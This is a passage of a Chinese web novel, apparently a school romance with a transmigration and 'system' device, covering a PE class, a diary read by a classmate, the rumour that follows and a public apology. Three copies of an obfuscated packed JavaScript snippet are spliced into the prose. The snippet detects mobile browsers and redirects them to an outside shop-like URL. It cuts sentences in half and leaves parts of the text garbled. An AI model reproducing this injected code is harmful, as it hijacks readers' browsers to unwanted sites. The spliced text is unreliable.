叶舒侧头，易川忽然出现在她旁边。 他神色如常，叶舒却发现他眼底闪过了一抹难以察觉的狡黠。 叶舒站在机器上，即便如此，也才堪堪和他一样高。不过，平日从未有机会平视他，这样注视着他那双丹凤眼，倒叫她不习惯，叶舒下意识移开视线。 恰好，机器显示出数字：170.4。 叶舒微微一愣，她还停留在自己只有一六八的印象。 “比我想象的高那么一点，矮子。” 易川也不在意周围女生们的视线，看着叶舒的数据，嘴角泛起揶揄的笑意。 “......” 叶舒不想与他争执，睨了他一眼便从机器上下来。 江菱默默嘀咕了一句：“哪里矮了，人高了不起啊......” 易川听到了，视线移到江菱身上，江菱见状，默默噤了声躲到叶舒身后。 易川不屑地勾了勾唇，轻笑出声。 在江菱耳朵里看来，倒像是颇为挑衅，气得她想说什么却找不到合适的语句。 似乎说什么，这家伙都会是一副不屑一顾的模样。 叶舒穿好鞋，拉了拉江菱，随后上下打量了易川一番，说：“别狗眼看人低。” 易川微微一愣。 说完，叶舒便拉着江菱和陆雯，从他身边径直离开。 江菱看见易川难得愣神的模样，心情也好了起来，悄悄回头望向易川那处。 他在与身旁的王朗说话，视线望着她们的方向。没有想象中的臭脸，反而，他看起来心情不错？ …… 八百米测试。 叶舒无奈地踏上难闻的塑胶跑道。 虽然叶舒个子不小，却半分没有体育天分，跑至最后一圈，她早被落在后面。 头晕目眩之际，叶舒艰难睁眼，周围的景物似乎也变得缥缈朦胧。 “叶舒。” 有声音自她身后响起，她略微抬起头，却已没有力气向后看去。 下一刻，易川那张脸出现在视野里。 他和她并肩跑着。 不同于她的气喘吁吁，易川气息平稳，除了额前滑落的一道汗滴，丝毫没有狼狈之意。 他垂着眼睑看她，嘴角扬着戏谑的笑容。 “......” 叶舒这才看懂，他就是特地跑来嘲笑自己。 她懒得和他贫嘴，自顾自地跑。 “怎么一副要死的样子，还有一点就到终点了。”易川低头看着面前一脸绯色的叶舒，语气轻佻。 叶舒强撑着咽了咽气，寒声道：“别吵了。” 她头本就涨得很，这一句用尽了她全身气力。 叶舒没有正眼瞧他，心里一笔一笔地记着，等她缓过来便会报复回来。 “你太菜了啊。”易川扔下这句。 叶舒见他起势，心里庆幸着这家伙终于肯离开了。 然而，下一瞬间，她手腕被人握住。 叶舒：“......！” 叶舒脑子一片空白，然后整个人便被拉着往前跑。 她在被易川拉着跑。 她抬头，只看见易川的后脑勺，后颈还有清晰的推子的印记。 “易......” 手被抓得有些疼，气息也愈来愈不稳，叶舒想叫他停下却喘不上气。 …… 两人冲过终点线后，叶舒悬着的心才终于放下，而那双握着她手腕的手也即刻松了手。 “四分十一秒，”体委报出时间，“恰好及格。” 易川轻笑一声，气息还有些不稳，便打趣她：“这都能四分多钟，太慢了。” 叶舒像濒死的鱼一般大口喘气，心里腹诽着，易川绝对是她的克星。 不过是说了他句“狗眼看人低”，倒也不至于这般报复她吧。 叶舒捂着腰弓着身子喘气，心里把所有骂他的话都想了一遍，乌黑的长马尾随着重力滑下去。 易川下意识地顺手想起接，伸出手时却顿了顿。 “别弯腰，待会气不顺。” 他的声音再次传来。 听见这话，叶舒才默默起身，埋怨地瞪着他。 视线交汇，易川别开目光，不自然地避开她的视线。 “你等着吧。” 叶舒缓了一阵，才一字一顿道。 闻言，易川像是听到笑话一般，不屑地弯了弯嘴角，随后自顾自地走了。 …… 叶舒在原地休息了一会儿后，便朝体育馆走去。 忽然，她想到什么回头，望向易川远去的方向。 她提起手，看了眼手臂，神情复杂。 手腕处还有些温热的触感。 叶舒默默放下手，随即突然开口，像是自言自语：“系统，你说，你作为系统能知道男主心里在想什么？” 系统很快回复了她：【不能，每个任务系统都是独一无二的个体，攻略男主做的任何事情都是未知的，我们也无从知晓他内心所想，保证任务的绝对公平和未知。你问这个干什么？】 叶舒沉默了一会儿，然后回复它：“没，我在猜他在想什么而已。” 他最好不要是她想的那样。 - 体育课后。 易川蜷着手，稍显笨拙地拿着书包和衣服回教学楼。 适才他打球时意外手磕碰到了。 其实不是很痛，但他的手还在汩汩地流血，看起来有些可怖。 路上林荫密布，不远处是同班同学们，隔着距离都能听见一群人的说话声，好不热闹。 易川远离了人群，是一个人走的。 前往医务室的路上，恰巧看见正准备上楼的叶舒，易川张了张口，想要叫住她。 话到嘴边又咽下了，下一秒女生的背影便消失在楼梯间。 ——罢了。 …… 体育课后，教室内。 叶舒回到班上，易川还没回来。 奇怪，刚刚还看见他拿着球朝教学楼方向回来的身影。 直到上课铃响后，易川都未曾出现，叶舒问了王朗后，才知道易川打球手受伤了。 正好奇着，班门口就出现了易川的身影。 叶舒往外望，便与易川的视线交汇。 他的外套挂在肩上，额头还有一层薄汗，平添一副痞气。 易川向老师打了报告后，便径直走回座位坐下。 他一坐下，叶舒便悄悄问他：“你怎么了？” 易川身形微顿，将外套搁置椅背，没有回应她。 见他没理她，她心下奇怪，但还是再次问了一遍，“王朗说你受伤了，你怎么了？” “没事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579720|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”他神色冷漠，倒像是刻意抗拒。 易川抬起那只一直垂在一旁的手。 从指尖处蜿蜒至手腕的血液已经凝固，但指缝间还有鲜红的血液淌出。 没想到这么严重，叶舒不由得一惊。 比起叶舒的惊讶，易川倒显得淡定多了，他掏出口袋里的创口贴，不过他顾着自己伤着的那只手，动作稍显笨拙。 叶舒就默默地观望着，看着他来回弄了几次也没贴好。 她如今才发觉，易川这人真的挺会逞能的。 实在看不过眼的叶舒拿过创口贴，细心帮他贴好。 易川就静静地看着她。 难得一见叶舒这副模样，细长的睫毛垂在她白皙细腻的脸上，倒显得有些文静。 贴好后，叶舒抬眼，正对上易川的目光。 他微微愣神，白皙的脖颈处有些泛红，随后别过脸，漠然地抽走了手。 易川：“突然那么殷勤，你又有啥事要拜托我？” “......”叶舒一脸无语，“我没你想象得那么阴险。” 易川低着头，捻着纸巾擦干净手上的血渍。 半晌，才有些不自在地说：“......谢谢。” 系统兴奋地在叶舒耳边嚷道：【他害羞了，他是不是喜欢你了？】 叶舒看着这场面抽了抽嘴角：【我觉得更像是没和女生这样接触过，所以觉得不好意思。】 说起来，易川那时似乎不是这个反应。 因为他这突然的变化，叶舒脑海里出现朦胧的画面。 那时，叶舒已经偷偷喜欢上了他，易川打球受伤，她见他受伤不便，便帮他贴了创口贴。 记忆太久远，叶舒也记得不真切了，只模糊记起，结束后，他也抽开了手，避开了她的视线，但似乎并无赧然之意。 想起那时易川眉眼间的冷漠，叶舒走了神。 台上的化学老师让大家拿出昨天的作业，她心不在焉地从抽屉中取出书。 本子抽出时，手指间感受到一阵疼痛。 叶舒下意识地倒吸一口气，易川注意到了她的动静，朝她看来。 她伸出手，看见自己的手划了道口子，慢慢渗出了一点血。 她看向那本子，原来是订书钉没订好，恰好划到了她的指缝。 叶舒默默抽了张纸，状作无事。 “没事吧。”易川问她。 “没事。” 话语一出，叶舒才发觉自己语气竟有些冷漠，倒像是在报复他那时的冷淡。 她自觉不妥，可收回也为时已晚，她瞟了瞟身侧的人，易川似乎没在意，默默听着课。 对她的伤口也没再过问。 一如既往的冷漠，叶舒不免怀疑刚刚系统所说他的那一抹“羞涩”的真实性。 - 课间。 易川找到舍友柯怿： “你有创口贴吗？” 柯怿是易川舍友，长相白净周正，性格很温顺，整个宿舍，易川也就和他说得上几句话。 柯怿问他：“你怎么了？” 易川没说话，只是抬起手露出血迹干涸了的伤口，即使是贴了创口贴，但看着还是有些严重。 柯怿吓了一跳，随后便在包里搜寻着创口贴。 “今天什么日子？你受伤叶舒也受伤。”柯怿感慨道。 柯怿刚开学时与叶舒是前后桌关系，关系不错。 闻言，易川扬了扬眉，“叶舒找你要创口贴？” “是啊，她手给订书钉划破皮了。”柯怿如是说道，“说起来，你俩是同桌哦，还挺巧。” 柯怿笑了笑，将创口贴递给易川。 易川接过，微微扯了扯嘴角，道了句谢谢便离开了。 …… 叶舒坐在座位上，见易川靠近，刚想起身给他让位，却注意到易川正定定地盯着自己的手。 她开口：“怎么了？” 易川插着兜，气息莫名冷然，“贴创口贴了？” 叶舒低头看了看手，回：“嗯，找柯怿要的。对了，你的手要不也找柯怿要创口贴——” “知道了。”易川不耐烦地打断她，随后转过身离开了教室。 叶舒：什么态度...... 20. 误会 期中成绩公布后便要换座位了。 换了同桌后，叶舒的攻略便会受到距离影响。不过，系统表示可以“暗箱操作”，只要叶舒需要。 叶舒正在纠结是否接受系统的提议，一道人影走到她身边。 她抬头一看，竟是林康。 见叶舒看向自己，林康礼貌地笑了笑，问：“叶舒，易川呢？” 叶舒也摆了个礼貌的微笑，回应他：“他可能上厕所了吧，大概等会回来。” “好，明天何老师要查问问题的情况，但他还没来找我问过问题。” 闻言，叶舒暗自勾了勾唇。 因为易川都来找她问了。 不过她也没想到易川真是不积极，竟半分林康的面子都不给。 “他这人是要催催的。”叶舒起身准备离开，“我要是看见他帮你跟他说一声。” “好。” 过道狭窄，有许多同学来回经过，叶舒离开时碰倒了桌面的一些书。 “我帮你捡吧。”林康捡起了她掉落的书和物品。 叶舒见他已经捡起，向他道了声谢谢后便离开了教室。 林康目送叶舒远去，随后把她掉落的书一本本捡起。 有些书呈摊开状倒在地上，林康捡起整理，随即，他目光被本子里的文字吸引住。 这是……？ 他下意识地把本子翻得更开，里面的文字全部清晰地展现在他眼前。 【10月24日给易川讲数学题，也不知道他听进去没有。问了他梦里的事，他反应很淡然，感觉像在强装。】 【10月25日叫易川背英语单词，他不背，就背了几个，懒得求他了。 他今天说喜欢黑色、灰色。】 【10月27日今天好像比前几天没那么尴尬了，倒是个好兆头。】 【10月30日老何弄了同桌互助制度，虽然很麻烦，不过对我来说还挺有用的。算算日子，好像要期中考了，希望他最近能配合一点吧。 没想到他还挺配合的，估摸着还有半个月就期中考了，希望期中考我能考好点，他也能考好点，别辜负我期望。】 …… 窗外风乍起，将书页吹起一角。如今是课间，教室里到处都是同学们走来走去的身影。 视野里忽然出现有人走近的影子，林康如惊弓之鸟一般迅速收起本子，故作镇定地把本子摆了回去。 呵。 他不自觉笑出了声。 原来是这样吗。 - 次日，嘈杂的课间。 秋日的味道渐浓，学校里的学生皆穿起了外套。一阵风呼啸而过，教学楼旁苍翠的树木纷纷扬扬落下一道落叶雨。 班级里，科代表正奔走各处纷发作业。 物理科代表遇上了恰巧要离开教室的易川，他叫住易川，把他的作业递给他：“易川，你的。” 下一本作业是叶舒的，他也递给了易川。 “正好，叶舒的也给你。”科代表不怀好意地笑了笑，接着便继续去纷发剩下的作业。 易川淡淡地扫过作业上的名字，随即抬眼，注意到周围有人正观察着他的举动。 他转身回座位，将自己的作业丢回自己的桌面，随后，又将叶舒的作业递到她面前。 叶舒正在看书，正投入时视野里出现一本作业。 她抬眼，发现是易川正居高临下地看着她，神色漠然，又是一副臭脸的模样。 叶舒早已见怪不怪，接过作业说了声谢谢后，便继续低头看书。 然而，身旁的那片人影却一直没消失。 她刚一抬眼，便发现易川正定定地望着她，目光幽深。 “吁~” 一道幸灾乐祸的口哨声传来。 叶舒望过去，不远处，杨乐铉对着他们的方向吹口哨，他身旁还有一两个男生一副看好戏的模样。 易川转头，冷漠地瞥了他们一眼。 叶舒很少见过他这副模样，像是生气了。 少见，但却见过。 因为易川现在这副疑似生气的模样，让她想起了她最不想回忆起的那个场景。 ...... 分班后，叶舒与易川已不是一个班。 叶舒年排第一，是学校里经常上台演讲的学生，是大家口中的好学生；易川因着长相出众，在年级里也算出名，只是名字前总带着个名号：那个长得好看的学渣。 不知何时，他借读生的名号传了出来。 本身倒也没什么，只是易川那目空一切的态度，使得他在年级里的风评逐渐变得糟糕。 叶舒倒不在乎那些，只是默默地会从自己班跑下楼，到易川班级那层，远远地看着他一会儿。 运气好的时候，可以和他对视上，微微颔首，便已是问好。 然而，高二的某天。 她在校园的走廊里偶遇易川，易川叫住了她。 那是易川第一次叫住她，主动和她打招呼。 叶舒按捺着激动的心跳，刚想回应他，便看见面前的人冷冷地注视着她道：“叶舒，你是不是喜欢我？” 夏日的蝉鸣声中，周围经过的学生惊讶地看着两人，一阵哗然。 叶舒怔住，没想到他竟然直接在学校里当众这样问她。 “你……” 还没等她回复，易川嗤笑了一声，继续说。 “你以为你真的装得很好吗？你每天下楼装作找人实则来看我的模样真的很搞笑，你能别再来了吗？” “你一个学霸，喜欢我一个学渣，喜欢我什么？反差？你不丢人吗？” “我们根本就不是一路人，我不喜欢你，也永远都不会喜欢上你。” 几句话如同利剑刺进叶舒刚刚还在怦然的心，但她恍若毫无知觉一般。 像是被冰冻住了，僵在原地，只是茫然地望着易川。 明明是盛夏，那一刻，她只觉得好冷。 最后也不知是如何回到了教室，稀里糊涂地坐到座位上。 直至上课的铃声响起，叶舒才苏醒一般，刚才还未察觉到的疼痛逐渐泛上来，压得她透不过气来。 易川那时的眼神叶舒依旧记得，跟如今他望向杨乐铉的几乎一样。 叶舒抬起头，望向杨乐铉那处，几位男生们的眼神里有明显的调侃。 似乎是发觉了叶舒的目光，几名男生收敛起自己的表情，装作无事发生，离开了教室。 叶舒冷漠地看着这一切，心里却起了不详的预感。 …… 下课后，课间。 课后，叶舒提醒身旁的易川：“你今天要和我背书了。” 易川身形微顿，语气冷淡，“明天吧，今天没背。” “今天就截止日期了。” “......”易川静默了片刻，随后道，“那，晚点吧。” 说着，他便离开了座位，出了教室。 叶舒望着他的背影，不禁皱眉。 她能感觉到两人之间气氛变得古怪。 她回忆着最近的种种，却找不到任何缘由。 而易川如今这般，就和过去他对她的态度一样。 叶舒一时茫然，最近做的一切仿佛都在此刻功亏一篑。 到底是哪里出了问题？ “叶舒，你别难过。” 身侧的王朗忽然出声安慰她。 王朗刚刚就坐在位子上，两人的对话和举动他都看在眼里。 叶舒抬头看向王朗，他正一脸不忍地看着她，眼里闪过一丝怜悯。 “？” 叶舒一头雾水地看向他。 王朗看不过眼，一副自以为仗义地表情，豁出去道：“哎呀，偷偷跟你讲吧，我知道你喜欢易川。” 叶舒：“......” 叶舒眉间皱成一团，虽愤怒但还是耐下心来继续问他：“你为什么这样觉得？” 王朗凑近她，向她道来：“林康说看见你日记了，里面全是易川。” 他嗫嚅着说完，然后移开视线，不敢再看脸越来越阴沉的叶舒。 叶舒这才了然。 林康。 原来是林康。 叶舒手握着书，书角被她揉皱，王朗见状不禁胆颤。 平日里的叶舒，性格内敛沉稳，似乎除了学习一概不关心，他还从未见过叶舒这么生气的时候。 “怪不得......”叶舒喃喃道。 她立刻起身，沉思一番后，找出自己的日记本丢给王朗，沉声说：“你自己看看，别听风就是雨。” 随后，她便冲出教室。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590115|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 教室外的走廊，来来往往的都是穿着外套的学生，熙熙攘攘，人声鼎沸。风吹过，教学楼旁的树叶沙沙作响，融化在人群的说话声中。 叶舒站在班门口左顾右盼，朝走廊深处望去。 人群熙攘，清一色的校服身影里，她找不到那个熟悉的人。 叶舒转头望向另一边，终于看见远处，易川正缓缓朝教室走来。 她急忙跑过去。 “易川！” 那人听见有人喊他名字，朝声音来源瞥了一眼。看清来人后，易川脚步一顿，似乎下意识想走掉。 叶舒也不顾往日的形象了，又喊了一遍易川名字，然后跑到他面前，带着自己的怨气吼了他一句：“你躲我干嘛？” 她刘海已经长长，被她撇在两侧，如今又因为奔跑，刘海变得凌乱，遮住了视线，但她也顾不上了，胡乱一撩，继续仰头看着易川。 脸颊不知是跑的还是气的，透着淡淡的红色。 易川瞧了她一眼，视线移向远处，眉头微皱着，“没，怎么可能。” 他语气故作漫不经心，但叶舒还是发觉了他的眼神躲闪，言语磕巴。 课间时间短，她不想浪费时间，开门见山道：“我不知道林康怎么传的，但他说的肯定是夸大其词。你知道的，我有写日记的习惯，你若是不信我便直接给你看我日记本。” “......” 易川微抿下唇，似是在思考。 叶舒接着说：“我不知道他是怎么说的，但我的日记，你是我的同桌，里面有你的名字不是很正常的事吗？” 闻言，易川眼睑微动。 他抬眼，盯着她的眼睛，意味不明地注视了片刻，似是在找寻什么。 随后，他低眸沉思着，大概在思考她话语的可信性。 半晌。 易川才淡淡嗯了一声：“我知道。” 听见他这话，叶舒才心安了少许，继续絮絮叨叨地解释着：“你真的不要多想，不是他们传的那样的。” 解释完所有，叶舒望着他，有些委屈地坦言道：“我不想我们之间关系变得很奇怪。” “......” 大概是没见过叶舒这副模样，易川眉心跳了跳，眼里闪过一丝怔然，稍纵即逝。 他垂眸，随后低低地应了声：“嗯。” “那，你能不能不要就因为这件事就不理人？” 叶舒保持着服软的姿态，一脸诚恳地望着他。 他们所处这面正靠日光，她看着他的眼眸里都沾了些细碎的高光，平添几分楚楚可怜的意味。 易川许久没吭声，叶舒盯着他的眼睛都累了，不仔细看还真以为委屈到红了眼。 “没有不理你。” 他声音有些小，叶舒还以为自己听错了。 回味过来后，她这才舒了口气，表情和缓道：“那就好！——那个日记其实有很多人名字的，我舍友有，王朗也有——你千万别误会，我不是那种跟踪狂一样的......” 叶舒生怕曾经的事再度重蹈覆辙，所以便打算在此时就把一切话都说清楚，省得他再误会。 易川：“所以你不喜欢我，是吧？” 叶舒：“......啊？” 叶舒被易川突然的反问弄得愣神，犹豫着如何让易川彻底相信自己对他无意。 还没等她反应过来他话语中的个中意味，面前的人便自顾自地偏头，嗤了一声。 “没事，随口一问，不喜欢最好。” 易川又换回了平常冷漠的模样，绕开她走回教室。 叶舒被他这光速变化的态度弄得稀里糊涂的，又拿不准他是否将自己的话听进去了。 怕他不信，叶舒又不得不耐下性子追上他，继续在他身边问： “所以你是相信我了吧？” “不知道。” “我真对你没那个意思，你不信我可以把日记给你看。” “不看。”他语气懒懒的，似是和她杠上了。 叶舒见状，也来了气，索性破罐破摔：“那你要怎么样？” 见她生气，易川还是那副事不关己的模样，扬眉慢条斯理道：“不怎么样。” “你到底信不信我？” “不知道。” “......” 21. 教训他 自叶舒解释日记那事过后，易川对她的态度虽还是有些冷淡，但并没有因此疏离叶舒，这事也就算过去了。 既然如此，解决完易川后，便是解决林康了。 - 课间。 林康正靠在教室外的书柜前躲着同学对他穷追不舍的追问。 仓促之际，他眼前突然出现一个清瘦的白色身影。 叶舒。 叶舒定定地看着他，气定神闲，嘴角还有少许的笑意，但林康却透过她那双狭长上挑的眼睛感受到了敌意。 林康这才注意到，叶舒是个算得上漂亮的女孩子。 只可惜她性格锋芒太露，连带着那脸蛋都令人生厌。 林康坦然地对上她直勾勾的目光。 他知道会有这一刻，只是没想到传闻那么快便传到正主面前了。 是他高估了那群男生的嘴。 大概率是王朗告诉了她，毕竟他平常便与叶舒交好。 ...... 两人走到这层楼的尽头，远离教室的地方。 “看别人的东西好玩吗？” 叶舒问他。 林康没吭声，脸上还是那副伪善温和的面孔，故作听不懂一般看着她。 “造谣这场游戏该停止了吧。我希望你在今天晚自习的时候，当着全班同学的面给我道歉，并解释是你误会了那个本子的含义。” 叶舒的声音在教学楼热闹的人声中若隐若现，没有声嘶力竭，但字字坚决。 叶舒转过头，直直地对上林康的眼睛。 “我其实不想通过把老师拉进来的方式来解决这次事情，但是这件事情在我这并不能大事化小，如果你不道歉的话，那我也可以去班主任那里争取我该有的澄清。” 她很想说“林康，别装了，你心里想什么我都猜的出来”。 但她最后还是没说。 不仅是为了林康那可怜不值钱的面子，也是怕这人心思叵测，被撕破面具后会对她做什么出格之事。 林康还在演戏，颇为抱歉地噢了一声，颇为懊悔地说道：“本子这个事其实是个意外，我不小心看到的，对不起。大概是意外，不小心传扬了出去——我能理解你的感受，真的很对不起。” 叶舒看不下去林康的戏，直截了当地说：“你不用解释那么多，今晚晚自习直接当着所有人的面对我道歉就行了。班里那么多男生听信你的谣言，对我的伤害已经达成了，你得解决。” 随即，叶舒朝他微微一笑，没有往日的友善。 叶舒：“林康，我不知道你是什么想法。但若是你想用这种方式妄图让我遭人嘲笑和落人话柄，未免也太幼稚了点。无论你是故意还是无心，你都应该为你的错误买单。” 闻言，林康的表情敛了一瞬，很快又极为抱歉地微笑着说：“好的，我很抱歉，我答应你，今晚会公开道歉的。” 叶舒不愿再与林康虚与委蛇，得到了想要的答复后便转身离开此地。 “不过，我这也不叫造谣吧。那个本子是真的，你确实喜欢易川，没错吧？” 林康笃定的声音从背后传来。 叶舒身形一滞，停下了脚步。 见状，林康勾了勾唇。 他还没输。 叶舒没转身，只是侧了侧脸，眉眼间颇有些无奈，“你看完我的日记了吗？” 林康一愣。 叶舒：“与我熟识的都知道，我有写日记的习惯，不信你可以去问王朗和易川。易川作为我的同桌出现在我的日记里实属正常，只不过是你心怀不轨把它放大了而已。不知道你有没有往后翻翻，里面也有你的名字——” 叶舒看着林康错愕的脸，不禁觉得可笑。 “如果日记里有谁的名字就是喜欢谁，那是不是我也喜欢你？毕竟你在日记本里出现的频率也不低。” 叶舒目光冷冷地盯着他，一字一顿道。 “因为我讨厌你，” “下次请你眼睛放亮点，别乱看别人的东西。” ...... 叶舒回到教室后，滞后的虚浮感才渐渐泛上来。 直至坐到座位上后，她才好一点，只是心跳有些过快，身体里某种东西往外流逝，腿脚不免发软。 刚刚最后的对话，叶舒也没有十足的把握。 她不仅怕林康误会，还怕林康发现她是穿越者的秘密。 叶舒很清楚，林康看到的不是日记本，而是她刚穿来前为准备日记本时的随手记。 她只是在赌——赌林康没有翻到后面，赌他只看了一点点。 赌他会被她所说的日记本混淆。 而正巧，当时来来往往的人多他确实只看了一二面。 看林康错愕的反应，她大概是赌对了。 想到这，叶舒的心绪也逐渐平缓。 - 化学课上，老师正讲着新课的内容。 林康坐在位子上，鲜少地没在听课。 他脑子里都在想着晚上该怎么给叶舒道歉，完全静不下心来。 当着全班人的面给她道歉，这简直是把他的脸往地里踩。 他一直以来打造的人设也会崩塌！ 本来只有一点男生知道，如果道歉了会变成全班人都知道是他的错。 可是如果他不道歉，以叶舒的性子，和班主任告状她绝对干得出来。错在于他，以何老师的古板性子，定会将他拎到全班人面前检讨。 他无路可退。 ...... 即使下了课，林康还在想这件事。 他不想呆在教室里，和叶舒呼吸同一片空气都让他不适，索性出了教室，独自一人趴在栏杆处，看着楼下晃动着的团团人影出神， “林康。” 林康听见有人喊他，无精打采地转身。 不过来人倒是出乎他的意料。 易川。 林康僵硬地扯了下唇角。 他现在不想看见叶舒，也不想看见易川，这两人中的哪一位都会让他想起那件事，令他心烦意乱。 易川走近林康，站定在他面前。 “你确定你看见了叶舒那个本子是那样写的吗？” 他人高马大的，面无表情地垂眼望着他，平添几分让人胸闷的高傲劲。 有传闻说，易川在初中便与混混们交好，也不知怎么能进来这静海高中的，大概是背靠富裕的家境。 林康本就瞧不上易川这种成绩差的人，见他还一副故作高傲样，更是不屑。 ——这叶舒倒还有资本在他面前傲气几分，他易川又算个什么东西？ 忽地，林康觉得自己可能真怀疑错了。 叶舒长得又不差，成绩还优秀——反观易川，成绩差，吊儿郎当没个正形，除了他的家境和皮囊一无是处。 叶舒怎么可能会喜欢他？ “我以为你是她同桌，应该能有所察觉呢。不过，我没必要撒这个谎。”林康微微勾了勾唇，故作忏悔道，“唉，这真是个意外，我也不是故意看到的，我也不知道那本子里写着那些东西。” “不过，”林康话锋一转，看向易川的眼神颇有兴味，“我确实看到了那个本子上，很多你的名字。” 显然，他话里有话。 闻言，易川略微眯了眯眼，看向他的目光变得幽深，略显冷厉。 林康被他看得莫名有些发毛，刚想开口询问，易川便开了口： “叶舒有写日记的习惯。” 林康挑了挑眉，略带疑惑。 这是，解释？ 没等林康回应，易川继续开口，但语气不如刚刚那般客气，沾上了些冷漠。 “这是她的隐私，将别人隐私公之于众本就不对。况且——” 易川拖长音调。 “你影响到了我。” 听完易川的话后，林康抽了抽嘴角。 原来是送走一个又来一个。 林康无奈地叹息一声：“那我也给你道歉，对不起。” 见他明显敷衍的态度，易川也没说什么，只是他依旧未动，半分没要离开的意思。 林康：“你还有有事吗？” “当然。”易川神色间没了刚刚同学之间的礼貌，毫不客气地扫了林康一眼，“你得给她道歉。” 易川盯着林康，眸色逐渐转深。 林康无奈道：“我已经给叶舒道歉了。” “公开道歉，当着全班人的面。”易川打语气淡然，却又带着分理所当然。 林康来了气，直接说：“我不这样做，你又能怎样？” 闻言，易川嗤笑了一声，“你会这样做的。” 林康微微一愣，顿时能感受到易川不是在开玩笑。 易川上前离近了林康一步，下意识地，林康退了一步子。 叮咚——叮咚—— 上课铃声的响起打断了这胶着的气氛。 易川这才停了脚步，上下扫视了一眼林康后，转身离开。 林康看着易川的背影走远。 半晌，他才回过神来，气笑了。 - 夜晚，圆月挂在窗外，散着柔和的光。 叶舒沉不下心学习，时不时便想到林康的事，因着这事她便不时抬头，死死地盯着林康的方向。 林康大概也能感受到她炙热的视线，明显躲着她的目光，装作注意不到，埋着头写作业。 “你干嘛呢？” 旁边的易川似乎是发现了她的不对劲，凑近她耳边出声询问。 叶舒这才收回眼，向林康的方向使了个眼色，示意易川。 “等他什么时候给我道歉。” 她写完了作业，就等着看林康什么时候站起，公然给她道歉。 因为林康，差一点，她最近的所作所为就功亏一篑了。 而且，偷窥隐私、空口传谣，这些事他都应该给她道歉。 身侧传来声响，叶舒侧头，发现易川竟起了身，似乎是要离开。 莫名地，她有些预感，扶上他的手臂，问他：“你干嘛去？” 静谧的教室里，只有窗外偶尔传来呼啸的风声。易川的位子靠窗，他起了身，风从他身侧溜过，眼睫微颤。 易川没说话，稍稍抬眼，看向了林康的方向。 叶舒即使不理解，但也看懂了——易川是要找林康。 两个男生可能的解决方式……不行，还是她自己来吧。 易川就要离开，叶舒拉住了他的衣袖，将他扯了回来。 易川疑惑地微皱着眉，随后目光落在叶舒抓着自己的手上。 叶舒：...... 意识到不妥，叶舒立刻收回了手。 “......”易川没吭声，只是略带不解地看着她，不懂她为何拦着自己。 叶舒：“怎么能让你去呢，我的事我自己来。” 话音刚落，她便直接站起，径直地朝林康座位走去。 - 林康注意到了叶舒朝着自己的方向过来。 他还是装作若无其事，强忍不安地低着头写着作业。 直到身侧有道影子挡住他头顶的灯光。 林康缓缓抬头与叶舒对视上。 她大概是洗了头，没扎高马尾，散发披在身侧，随着她的动作还在微微飘动。 叶舒对他微微一笑，笑容带着寒意，小声说：“该到时间了吧。” 曾经的记忆让叶舒太了解林康了。 他是好面子的人，让他当着全班人的面承认错误大概是比杀了他还难受。 这件事越拖延，大家对她的误会也会越深，解释起来也就越难。只有尽快让林康对着全班的面解释效果才是最佳的。 若林康想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612909|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打拖延牌，她断然不会由着他。 教室里，大家都在埋着头写作业，而叶舒就定定地杵在教室中间，并且没有半点窘迫和离开的意思，不免引来了一些同学的注意。 旁边正好是班长，压低声音问她：“叶舒，你站在这干什么？” 叶舒向班长解释：“林康有话要对全班交代。” 既然林康不想她好过。 那她就让他骑虎难下。 叶舒这话一出，林康瞪了一眼她，一改往常和善的表情，脸色阴鸷。 不知道的，真以为是叶舒怎么他了。 “你、够、狠。” 林康用嘴型对她说着。 随即，他撞开叶舒，走向讲台。 男生个子壮，这一撞还把叶舒撞得退了一步。 叶舒面色毫无波澜，只是默默抚上了被他撞得有些疼的肩膀，然后看向讲台上的林康。 “很抱歉打扰大家，在这里我和大家道个歉。” 林康深深地鞠了一躬，垂着眼睛，没了刚刚的狠戾，倒显得极为诚恳。 叶舒嘴角抽了抽，不禁感叹林康的变脸速度和传神演技。 林康：“前几天，我不小心看到了叶舒同学的日记本，并且误会了她日记本写的东西，还不小心说了出去，导致班里有同学对她造成了误会，我很抱歉。在这里对叶舒同学道歉，对不起。” “......” 班里大部分同学还不明所以，而知道内情的一些男生看着气氛阴沉也不敢说话。 不过，倒是有一两个不知道是真蠢还是假笨的男生还给林康的勇气鼓掌。 听着他避重就轻的言语，叶舒冷笑：“你仔细说说造成了什么误会，毕竟还有很多人不知道你造的什么谣。” 叶舒这话一出，刚刚鼓掌的男生也意识到了不对，悻悻地收回了手，表情有些难看。 一时间所有人的目光都在他俩之间逡巡。 林康站在讲台上，无数道视线盯着他，像是无数道利箭要把他捅穿。 从前都是受表彰时才上讲台，他哪里受过这种委屈。 叶舒这是要他彻底下不来台！ 